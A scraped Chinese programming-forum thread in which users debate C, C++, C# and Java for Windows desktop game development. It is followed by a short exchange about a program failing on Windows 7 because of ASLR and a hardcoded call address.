另外我想中文手册是应该有的吧。

引用 13 楼 kwolfmsdn 的回复:建议学习C++或者C# 目前大多数的游戏引擎都是使用这两种语言来开发游戏的  你不会是觉得自己能从基本的物理碰撞开始独立完成一个游戏吧 那几乎是不可能的亲  如果真的想要做游戏 把我一个游戏公司哥们给我讲的东西给你再讲一遍吧  首先把游戏策划、目标人群、游戏风格、盈利方式等等问题弄清楚 然后落实到纸面上写好策划案、游戏设计、推广方案等等文案 经过同行（你可能只能找你的朋友）评审游戏可玩性、技术可行性、市场前景等等问题 最后才到实现阶段 挑选一个合适的游戏引擎 找几个美工给你画资源 录制需要的声音资源 最后才是编码 把所有资源倒入、编写游戏流程  而且编码是其中最不重要的部分 只是在把前面策划好的游戏流程、界面、关卡实现出来而已  你目前理解的制作游戏 我可以认为是制作游戏引擎 而不是制作游戏本身 在游戏制作过程中 程序员基本起不到什么关键性的作用  游戏引擎需要的知识又不是编程语言的问题了 需要的是算法、图像处理等等基础知识(具体还有哪些我也不清楚，不是干这个的) 还有对DirectX、OpenGL的理解 一个C语言恐怕远远不够 “程序员基本起不到什么关键性的作用” 汗，程序猿怎么起不到关键作用？场景编辑器，地图编辑器，模型动作编辑器，技能逻辑，任务逻辑，同步，预测，这些策划和美术能写？ 这还是一般的游戏，你想做出次世代的效果，那就得很牛逼的程序猿才行了。HDR，动态阴影，细分曲面，大到怎么模拟逼真的大气层或者海洋，小到怎么让人物说话的时候口型蒙皮能对得上声音，这种种技术，别说引擎没有，就是有，你怎么使用它？就像流体引擎，你使用它模拟渲染河流什么的是一回事，你想跟它互动了，让它产生刚性接触了，那是另一回事。

引用 28 楼 Exaybachay 的回复:你来对了地方, 一个语言快不快, csdn 这方面专家很多. 高级黑啊。老有人把语言的标准和实现混在一起，发些莫名帖。

速度快分两个意思 运行速度快和开发速度快

看什么游戏了啊

C是很快,但只限在運行速度上快  開發遊戲肯定是C++或C#啦,開發速度上快 除非你開發一個幾百行就完的遊戲,不然用C會死人的!  而且現在的電腦素質也不差語言上的一點速度,重點是開發者的技術

引用 4 楼 Adol1111 的回复:Java一样可以做游戏，只不过效率低了一点，但开发效率会高出很多。而且还要看你做的是什么平台，比如移动、桌面，还是web游戏？  windows桌面类 单机之类的  不是安卓游戏

引用 6 楼 hangang7403 的回复:学习顺序错了，应该先学C，再学C++，再学JAVA，因为C++是建立在C的基础之上的，而JAVA是建立在C++基础之上的原本不知道 什么都不知道就稀里糊涂学了JAVA  和我最初的意愿不一样   为什么一定要先学C？》 据说C++已经独立成为一门语言了啊

引用 3 楼 Adol1111 的回复:1、运行快，不代表开发快，就这点来说C没有优势 2、游戏也分很多种，平台也各不相同，没有什么最不最好的，适合就可以了 3、C++效率不一定比C低，就做游戏而言，C/C++ ±5%的效率也可以忽略，而且在很多场合用面向对象来设计程序，开发效率会快很多。 4、C/C++比Java要难学，而且不止一点点 我指的是windows桌面类的游戏  如一些单机之类的

引用 21 楼 u012280292 的回复:[quote=引用 19 楼 ForestDB 的回复:] 如果是RPG，感觉OpenGL不错，不过到底是自己没有实践过。 他是用来做什么的？ 调用它的API来处理图像？  [/quote] 是啊，游戏不是有大量的2D/3D处理么？ 其实C就是个语言，没有其他库的API的支持，也干不了什么。

引用 19 楼 ForestDB 的回复:如果是RPG，感觉OpenGL不错，不过到底是自己没有实践过。 他是用来做什么的？ 调用它的API来处理图像？

选好开发平台

如果是RPG，感觉OpenGL不错，不过到底是自己没有实践过。


Question: win7为什么不执行啊

就是ASLR，我忘记了，0x771ab277是函数的入口地址。

1、x64 的 win7 不支持 16bit realmode的dos程序。 2、你call的那个0x772ab177是什么，在哪里？ 有考虑过ASLR吗？我不太清楚ASLR对你这个程序是否有影响，当作提供一个信息吧！  你这样的问题，最好把开发坏境也给大家看下。

哥们，这个是C语言论坛，汇编的请到汇编论坛发帖子